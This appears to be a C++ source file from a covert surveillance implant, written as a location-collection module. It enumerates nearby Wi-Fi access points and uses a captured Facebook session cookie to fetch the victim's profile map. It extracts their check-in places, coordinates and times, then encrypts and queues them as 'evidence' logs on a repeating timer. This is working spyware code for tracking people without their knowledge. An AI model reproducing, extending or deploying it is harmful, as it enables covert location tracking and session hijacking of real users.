#include <Windows.h>

#include "globals.h"
#include "zmem.h"
#include "utils.h"
#include "conf.h"
#include "proto.h"
#include "position.h"
#include "debug.h"
#include "JSON.h"
#include "JSONValue.h"
#include "social.h"
#include "facebook.h"
#include "cookies.h"
#include "social.h"

POSITION_LOGS lpPositionLogs[MAX_POSITION_QUEUE];

/* wifi definition */
#define TYPE_LOCATION_WIFI 3

typedef struct _wifiloc_param_struct {
	DWORD interval;
	DWORD unused;
} wifiloc_param_struct;

typedef struct _location_additionalheader_struct {
#define LOCATION_HEADER_VERSION 2010082401
	DWORD version;
	DWORD type;
	DWORD number_of_items;
} location_additionalheader_struct;

typedef struct _wifiloc_data_struct {
    UCHAR MacAddress[6];    // BSSID
	CHAR cPadd[2];
    UINT uSsidLen;          // SSID length
    UCHAR Ssid[32];         // SSID
    INT iRssi;              // Received signal 
} wifiloc_data_struct;

#include <wlanapi.h>
typedef DWORD (WINAPI *WlanOpenHandle_t) (DWORD, PVOID, PDWORD, PHANDLE);
typedef DWORD (WINAPI *WlanCloseHandle_t) (HANDLE, PVOID);
typedef DWORD (WINAPI *WlanEnumInterfaces_t) (HANDLE, PVOID, PWLAN_INTERFACE_INFO_LIST *);
typedef DWORD (WINAPI *WlanGetNetworkBssList_t) (HANDLE, const GUID *, const PDOT11_SSID, DOT11_BSS_TYPE, BOOL, PVOID, PWLAN_BSS_LIST *);
typedef DWORD (WINAPI *WlanFreeMemory_t) (PVOID);

WlanOpenHandle_t pWlanOpenHandle = NULL;
WlanCloseHandle_t pWlanCloseHandle = NULL;
WlanEnumInterfaces_t pWlanEnumInterfaces = NULL;
WlanGetNetworkBssList_t pWlanGetNetworkBssList = NULL;
WlanFreeMemory_t pWlanFreeMemory = NULL;


/* gps definition */

#define TYPE_LOCATION_GPS 1
#define GPS_MAX_SATELLITES      12

//
// GPS_VALID_XXX bit flags in GPS_POSITION structure are valid.
//
#define GPS_VALID_UTC_TIME                                 0x00000001
#define GPS_VALID_LATITUDE                                 0x00000002
#define GPS_VALID_LONGITUDE                                0x00000004
#define GPS_VALID_SPEED                                    0x00000008
#define GPS_VALID_HEADING                                  0x00000010
#define GPS_VALID_MAGNETIC_VARIATION                       0x00000020
#define GPS_VALID_ALTITUDE_WRT_SEA_LEVEL                   0x00000040
#define GPS_VALID_ALTITUDE_WRT_ELLIPSOID                   0x00000080
#define GPS_VALID_POSITION_DILUTION_OF_PRECISION           0x00000100
#define GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION         0x00000200
#define GPS_VALID_VERTICAL_DILUTION_OF_PRECISION           0x00000400
#define GPS_VALID_SATELLITE_COUNT                          0x00000800
#define GPS_VALID_SATELLITES_USED_PRNS                     0x00001000
#define GPS_VALID_SATELLITES_IN_VIEW                       0x00002000
#define GPS_VALID_SATELLITES_IN_VIEW_PRNS                  0x00004000
#define GPS_VALID_SATELLITES_IN_VIEW_ELEVATION             0x00008000
#define GPS_VALID_SATELLITES_IN_VIEW_AZIMUTH               0x00010000
#define GPS_VALID_SATELLITES_IN_VIEW_SIGNAL_TO_NOISE_RATIO 0x00020000

//
// GPS_DATA_FLAGS_XXX bit flags set in GPS_POSITION dwFlags field
// provide additional information about the state of the query.
// 

// Set when GPS hardware is not connected to GPSID and we 
// are returning cached data.
#define GPS_DATA_FLAGS_HARDWARE_OFF                        0x00000001

typedef enum {
	GPS_FIX_UNKNOWN = 0,
	GPS_FIX_2D,
	GPS_FIX_3D
}
GPS_FIX_TYPE;

typedef enum {
	GPS_FIX_SELECTION_UNKNOWN = 0,
	GPS_FIX_SELECTION_AUTO,
	GPS_FIX_SELECTION_MANUAL
}
GPS_FIX_SELECTION;

typedef enum {
	GPS_FIX_QUALITY_UNKNOWN = 0,
	GPS_FIX_QUALITY_GPS,
	GPS_FIX_QUALITY_DGPS
}
GPS_FIX_QUALITY;

typedef struct _GPS_POSITION {
        DWORD dwVersion;             // Current version of GPSID client is using.
        DWORD dwSize;                // sizeof(_GPS_POSITION)

        // Not all fields in the structure below are guaranteed to be valid.  
        // Which fields are valid depend on GPS device being used, how stale the API allows
        // the data to be, and current signal.
        // Valid fields are specified in dwValidFields, based on GPS_VALID_XXX flags.
        DWORD dwValidFields;

        // Additional information about this location structure (GPS_DATA_FLAGS_XXX)
#define FACEBOOK_CHECK_IN 0x1
        DWORD dwFlags;
        
        //** Time related
        SYSTEMTIME stUTCTime;   //  UTC according to GPS clock.
        
        //** Position + heading related
        double dblLatitude;            // Degrees latitude.  North is positive
        double dblLongitude;           // Degrees longitude.  East is positive
        float  flSpeed;                // Speed in knots
        float  flHeading;              // Degrees heading (course made good).  True North=0
        double dblMagneticVariation;   // Magnetic variation.  East is positive
        float  flAltitudeWRTSeaLevel;  // Altitute with regards to sea level, in meters
        float  flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters

        ////** Quality of this fix
        GPS_FIX_QUALITY     FixQuality;        // Where did we get fix from?
        GPS_FIX_TYPE        FixType;           // Is this 2d or 3d fix?
        GPS_FIX_SELECTION   SelectionType;     // Auto or manual selection between 2d or 3d mode
        float flPositionDilutionOfPrecision;   // Position Dilution Of Precision
        float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
        float flVerticalDilutionOfPrecision;   // Vertical Dilution Of Precision

        ////** Satellite information -- name here
        DWORD dwSatelliteCount;                                            // Number of satellites used in solution
        DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES];                  // PRN numbers of satellites used in the solution

        DWORD dwSatellitesInView;                                          // Number of satellites in view.  From 0-GPS_MAX_SATELLITES
        DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES];                // PRN numbers of satellites in view
        DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES];           // Elevation of each satellite in view
        DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES];             // Azimuth of each satellite in view
        DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES];  // Signal to noise ratio of each satellite in view
} GPS_POSITION, *PGPS_POSITION;

typedef struct _gps_data_struct {
	DWORD dwFail;
	UINT uSize;
#define GPS_VERSION (UINT)2008121901
	UINT uVersion;
	FILETIME ft;
	GPS_POSITION gps;
#define LOG_DELIMITER 0xABADC0DE
	DWORD dwDelimiter;
} gps_data_struct;



/* methods */
BOOL ResolveWLANAPISymbols()
{
	static HMODULE hwlanapi = NULL;

	if (!hwlanapi)
		hwlanapi = LoadLibrary(L"wlanapi.dll");
	if (!hwlanapi)
		return FALSE;

	if (!pWlanOpenHandle)
		pWlanOpenHandle = (WlanOpenHandle_t)GetProcAddress(hwlanapi, "WlanOpenHandle");  //FIXME: array

	if (!pWlanCloseHandle)
		pWlanCloseHandle = (WlanCloseHandle_t)GetProcAddress(hwlanapi, "WlanCloseHandle");  //FIXME: array

	if (!pWlanEnumInterfaces)
		pWlanEnumInterfaces = (WlanEnumInterfaces_t)GetProcAddress(hwlanapi, "WlanEnumInterfaces");  //FIXME: array

	if (!pWlanGetNetworkBssList)
		pWlanGetNetworkBssList = (WlanGetNetworkBssList_t)GetProcAddress(hwlanapi, "WlanGetNetworkBssList");  //FIXME: array

	if (!pWlanFreeMemory)
		pWlanFreeMemory = (WlanFreeMemory_t)GetProcAddress(hwlanapi, "WlanFreeMemory");  //FIXME: array

	if (pWlanOpenHandle && pWlanCloseHandle && pWlanEnumInterfaces && pWlanGetNetworkBssList && pWlanFreeMemory)
		return TRUE;

	return FALSE;
}

BOOL EnumWifiNetworks(location_additionalheader_struct *wifiloc_additionaheader, BYTE **body, DWORD *blen)
{
    HANDLE hClient = NULL;
    DWORD dwMaxClient = 2;       
    DWORD dwCurVersion = 0;
	DWORD i, j;
	wifiloc_data_struct *wifiloc_data;
    
    PWLAN_INTERFACE_INFO_LIST pIfList = NULL;
	PWLAN_INTERFACE_INFO pIfInfo = NULL;
	PWLAN_BSS_LIST pBssList = NULL;
	PWLAN_BSS_ENTRY pBss = NULL;

	*body = NULL;
	*blen = 0;
		
	wifiloc_additionaheader->version = LOCATION_HEADER_VERSION;
	wifiloc_additionaheader->type = TYPE_LOCATION_WIFI;
	wifiloc_additionaheader->number_of_items = 0;
		
	if (!ResolveWLANAPISymbols())
		return FALSE;
    
    if (pWlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient) != ERROR_SUCCESS)  
		return FALSE;
    
    if (pWlanEnumInterfaces(hClient, NULL, &pIfList) != ERROR_SUCCESS)  {
		pWlanCloseHandle(hClient, NULL);
		return FALSE;
    }

	// Enumera le interfacce wifi disponibili
	for (i=0; i<pIfList->dwNumberOfItems; i++) 
	{
		pIfInfo = (WLAN_INTERFACE_INFO *) &pIfList->InterfaceInfo[i];

		if (pWlanGetNetworkBssList(hClient, &pIfInfo->InterfaceGuid, NULL, dot11_BSS_type_infrastructure, FALSE, NULL, &pBssList) == ERROR_SUCCESS) 
		{
			// Ha trovato un interfaccia valida ed enumera le reti wifi
			// alloca l'array di strutture di ritorno
			if (!(*body = (LPBYTE)calloc(pBssList->dwNumberOfItems, sizeof(wifiloc_data_struct))))
				break;

			*blen = pBssList->dwNumberOfItems * sizeof(wifiloc_data_struct);
			wifiloc_additionaheader->number_of_items = pBssList->dwNumberOfItems;
			wifiloc_data = (wifiloc_data_struct *)*body;
			
			// Valorizza con i ssid
			PWLAN_BSS_ENTRY pBss = pBssList->wlanBssEntries;
			for (j=0; j<pBssList->dwNumberOfItems; j++) 
			{
						
				memcpy(wifiloc_data[j].MacAddress, pBss->dot11Bssid, 6);
				wifiloc_data[j].uSsidLen = pBss->dot11Ssid.uSSIDLength;
				if (wifiloc_data[j].uSsidLen>32)
					wifiloc_data[j].uSsidLen = 32; // limite massimo del SSID
				memcpy(wifiloc_data[j].Ssid, pBss->dot11Ssid.ucSSID, wifiloc_data[j].uSsidLen);
				wifiloc_data[j].iRssi = pBss->lRssi;
				
				pBss = (PWLAN_BSS_ENTRY)(((PBYTE)pBss) + 0x168); // FIXME
			}
			
			break;
		} 
	}

	if (pBssList != NULL)
		pWlanFreeMemory(pBssList);
    if (pIfList != NULL) 
        pWlanFreeMemory(pIfList);
	pWlanCloseHandle(hClient, NULL);
    
    return TRUE;
}


/*
	Description:	given a json object containing Facebook places, extracts and packs data into additionalheader and body
	Parameters:		json object, pointer to additionalheader, body that will contain the payload, pointer to size of body, Facebook user id
	Usage:			return true there're data to log, false otherwise. Body is allocated and must be freed by the caller
*/
BOOL FacebookPlacesExtractPosition(__in JSONValue *jValue, __out location_additionalheader_struct *additionalheader, __out BYTE **body, __out DWORD *blen, __in LPSTR strUserId )
{
		
	*body = NULL;
	*blen = 0;
	additionalheader->version = LOCATION_HEADER_VERSION;
	additionalheader->type    = TYPE_LOCATION_GPS;
	additionalheader->number_of_items = 0;

	/* get last place timestamp */
	DWORD dwHighestBatchTimestamp = 0;
	CHAR strUsernameForPlaces[512];
	_snprintf_s(strUsernameForPlaces, sizeof(strUsernameForPlaces), _TRUNCATE, "%s-facebookplaces", strUserId);
	DWORD dwLastTimestampLow, dwLastTimestampHigh;
	dwLastTimestampLow = SocialGetLastTimestamp(strUsernameForPlaces, &dwLastTimestampHigh);
	if (dwLastTimestampLow == SOCIAL_INVALID_MESSAGE_ID)
		return FALSE;

	/* get the number of locations */
	JSONObject jRoot = jValue->AsObject();
	if (jRoot.find(L"jsmods") != jRoot.end() && jRoot[L"jsmods"]->IsObject())
	{
		JSONObject jJsmods = jRoot[L"jsmods"]->AsObject();

		if (jJsmods.find(L"require") != jJsmods.end() && jJsmods[L"require"]->IsArray())
		{
			JSONArray jRequire = jJsmods[L"require"]->AsArray();

			if ( jRequire.size() > 0 && jRequire.at(0)->IsArray())
			{
				JSONArray jTmp = jRequire.at(0)->AsArray();
				if (jTmp.size() > 3 && jTmp.at(3)->IsArray())
				{
					JSONArray jTmp2 = jTmp.at(3)->AsArray();

					if (jTmp2.size() > 1 && jTmp2.at(1)->IsObject())
					{
						JSONObject jObj = jTmp2.at(1)->AsObject();
						

						/* jObj contains:
						"stories":[ array with timestamps ],
						"places":[ array with places ],
						"count":4, // number of different places
						"_instanceid":"u_0_44"
						*/

						if ((jObj[L"places"]->IsArray() && jObj[L"places"]->IsArray()) && (jObj[L"stories"]->IsArray() && jObj[L"stories"]->IsArray()))
						{
							JSONArray jPlaces = jObj[L"places"]->AsArray();
							JSONArray jStories = jObj[L"stories"]->AsArray();

							/*  stories element example: {"timestamp":1418910342, .. ,"placeID":133355006713850, ..  }
								places element example:  {"id":133355006713850, "name":"Isle of Skye, Scotland, UK","latitude":57.41219383264, "longitude":-6.1920373066084,"city":814578, "country":"GB"   } 
							*/

							/* loop through stories, for each story find the corresponding place and set the gps record (suboptimal..) */
							for (DWORD i=0; i<jStories.size(); i++)
							{
								if (!jStories.at(i)->IsObject())
									continue;

								UINT64 current_id;
								time_t time = 0;

								/* extract story id and timestamp */
								JSONObject jStory = jStories.at(i)->AsObject();
								if (jStory.find(L"placeID") != jStory.end() && jStory[L"placeID"]->IsNumber())
								{
									current_id = (UINT64) jStory[L"placeID"]->AsNumber();
								}
								
								if (jStory.find(L"timestamp") != jStory.end() && jStory[L"timestamp"]->IsNumber())
								{
									 time = (time_t) jStory[L"timestamp"]->AsNumber();
								}

								
								/* save the most recent timestamp for this batch */
								if (time > dwHighestBatchTimestamp)
									dwHighestBatchTimestamp = time;
								
								/* if it's recent save it otherwise skip this record */
								if (time <= dwLastTimestampLow)
									continue;

								/* find place id in places: suboptimal version loop through each time */
								for (DWORD j=0; j<jPlaces.size(); j++)
								{
									if (!jPlaces.at(j)->IsObject())
										continue;

									UINT64 tmp_id;

									JSONObject jPlace = jPlaces.at(j)->AsObject();
									if (jPlace.find(L"id") != jPlace.end() && jPlace[L"id"]->IsNumber())
									{
										tmp_id = (UINT64) jPlace[L"id"]->AsNumber();

										if (tmp_id == current_id)
										{
											/* got our guy, fill a gps position record */
#ifdef _DEBUG
											OutputDebug(L"[*] Got %I64u\n", tmp_id);
											OutputDebug( L"Time in seconds since UTC 1/1/70:\t%ld\n", time );
#endif
											/* update additional header, body size */
											additionalheader->number_of_items += 1;
											DWORD dwBodySize = additionalheader->number_of_items * sizeof(gps_data_struct);
											*body = (LPBYTE) realloc(*body, dwBodySize);
											if (!*body)
												return FALSE;

											*blen = _msize(*body);

											gps_data_struct  *record = (gps_data_struct*)( *body + ( dwBodySize - sizeof(gps_data_struct) ));
											SecureZeroMemory(record, sizeof(gps_data_struct));

											/* fill GPS_POSITION */
											record->gps.dwVersion = 1 ;// dunno
											record->gps.dwSize = sizeof(GPS_POSITION);
											record->gps.dwValidFields = GPS_VALID_UTC_TIME | GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE;
											record->gps.dwFlags = FACEBOOK_CHECK_IN;
											//UnixTimeToSystemTime(time, &record->gps.stUTCTime); ignore by backend
																						

											if (jPlace.find(L"latitude") != jPlace.end() && jPlace[L"latitude"]->IsNumber())
											{
												record->gps.dblLatitude = jPlace[L"latitude"]->AsNumber();
											}
											
											if (jPlace.find(L"longitude") != jPlace.end() && jPlace[L"longitude"]->IsNumber())
											{
												record->gps.dblLongitude = jPlace[L"longitude"]->AsNumber();
											}

											if (jPlace.find(L"name") != jPlace.end() && jPlace[L"name"]->IsString())
											{
												/* name is written over the fields starting with dwSatelliteCount: 62 dwords - 1 dword for null */
												//size_t maxNameSize  = 62 * sizeof(DWORD);
												size_t maxNameSize = sizeof(GPS_POSITION) - FIELD_OFFSET(GPS_POSITION, dwSatelliteCount) - 1;
												LPWSTR name = (LPWSTR) zalloc_s(maxNameSize);
												
												_snwprintf_s(name, maxNameSize/2, _TRUNCATE, L"%s", jPlace[L"name"]->AsString().c_str() );
												
												memcpy_s(&record->gps.dwSatelliteCount, maxNameSize, name, lstrlen(name) * 2 + 2);
												record->gps.rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES-1] = 0;
												
												zfree_s(name);
											}

											/* fill remaining field of gps_data_struct */
											record->uSize = sizeof(gps_data_struct);
											record->uVersion = GPS_VERSION;
											//GetSystemTimeAsFileTime(&record->ft);
											UnixTimeToFileTime(time, &record->ft);
											record->gps.flHorizontalDilutionOfPrecision = 100; // needed for intelligence
											record->dwDelimiter = LOG_DELIMITER;
														

											break;
										} //if (tmp_id == current_id)
									} //if (jPlace.find(L"id") != jPlace.end() && jPlace[L"id"]->IsNumber())
								} //for (DWORD j=0; j<jPlaces.size(); j++)
							} //for (DWORD i=0; i<jStories.size(); i++)


							/* save the highest timestamp in the batch */
							if (dwHighestBatchTimestamp > dwLastTimestampLow)
								SocialSetLastTimestamp(strUsernameForPlaces, dwHighestBatchTimestamp, 0);

						} //if ((jObj[L"places"]->IsArray() && jObj[L"places"]->IsArray())
					} //if (jTmp2.size() > 1 && jTmp2.at(1)->IsObject())
				}
			}
		}
	}

	/* 	true if *body is not null, otherwise false */
	return *body != NULL;
}

BOOL QueuePositionLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize)
{
	for (DWORD i=0; i<MAX_POSITION_QUEUE; i++)
	{
		if (lpPositionLogs[i].dwSize == 0 || lpPositionLogs[i].lpBuffer == NULL)
		{
			lpPositionLogs[i].dwSize = dwEvSize;
			lpPositionLogs[i].lpBuffer = lpEvBuff;

			return TRUE;
		}
	}

	return FALSE;
}


/* 
	Description:	extracts and logs Facebook checkin locations
	Params:			valid Facebook cookie
	Usage:			-
*/
DWORD FacebookPositionHandler(LPSTR strCookie)
{

	LPSTR strUserId, strScreenName; 
	LPSTR strParser1, strParser2;
	
	if (!ConfIsModuleEnabled(L"position"))
		return SOCIAL_REQUEST_SUCCESS;

	if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
		return SOCIAL_REQUEST_BAD_COOKIE;

	zfree_s(strScreenName);

	LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
	_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/profile.php?id=%S&sk=map", strUserId);
	
	LPSTR strRecvBuffer = NULL;
	DWORD dwBuffSize;
	DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); 

	zfree_s(strUrl);

	if (dwRet != SOCIAL_REQUEST_SUCCESS)
	{
		zfree(strRecvBuffer);
		zfree(strUserId);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}

	/* find the snippet of json we're interested in and give it to the parser */
	strParser1 = strstr(strRecvBuffer, "{\"display_dependency\":[\"pagelet_timeline_medley_inner_map\"]");
	if (!strParser1)
	{
		/* cleanup */
		zfree_s(strRecvBuffer);
		zfree_s(strUserId);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}

	strParser2 = strstr(strParser1, "})");
	*(strParser2+1) = NULL;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - position json: %S\n", __FUNCTION__, strParser1);
#endif

	LPSTR strJson = strParser1;

	JSONValue *jValue = JSON::Parse(strJson);
	if (jValue != NULL && jValue->IsObject())
	{
		DWORD dwSize;
		LPBYTE lpBody;
		location_additionalheader_struct additionaheader;

		if ( FacebookPlacesExtractPosition(jValue, &additionaheader, &lpBody, &dwSize, strUserId) )
		{
			
			DWORD dwEvSize;
			LPBYTE lpEvBuffer = PackEncryptEvidence(dwSize, lpBody, PM_LOCATION, (LPBYTE) &additionaheader, sizeof(additionaheader), &dwEvSize);
			zfree_s(lpBody);


			if (!QueuePositionLog(lpEvBuffer, dwEvSize))
				zfree_s(lpEvBuffer);
		}
	}

	/* cleanup */
	zfree_s(strRecvBuffer);
	zfree_s(strUserId);
	if (jValue)
		delete jValue;

	return SOCIAL_REQUEST_SUCCESS;
}

VOID PositionMain()
{
	while (1)
	{
		if (bPositionThread == FALSE)
		{
#ifdef _DEBUG
			OutputDebug(L"[*] PositionMain exiting\n");
#endif
			hPositionThread = NULL;
			return;
		}

		if (bCollectEvidences)
		{

			/* 1] wifi */
			DWORD dwSize;
			LPBYTE lpBody;
			location_additionalheader_struct wifi;

			if(EnumWifiNetworks(&wifi, &lpBody, &dwSize))
			{
				DWORD dwEvSize;
				LPBYTE lpEvBuffer = PackEncryptEvidence(dwSize, lpBody, PM_LOCATION, (LPBYTE)&wifi, sizeof(wifi), &dwEvSize);
				zfree(lpBody);

				if (!QueuePositionLog(lpEvBuffer, dwEvSize))
					zfree(lpEvBuffer);
			}

			/* 2] facebook places
				  scheduled in social.cpp
			*/

			
		}

		MySleep(ConfGetRepeat(L"position"));  //FIXME: array
	}
}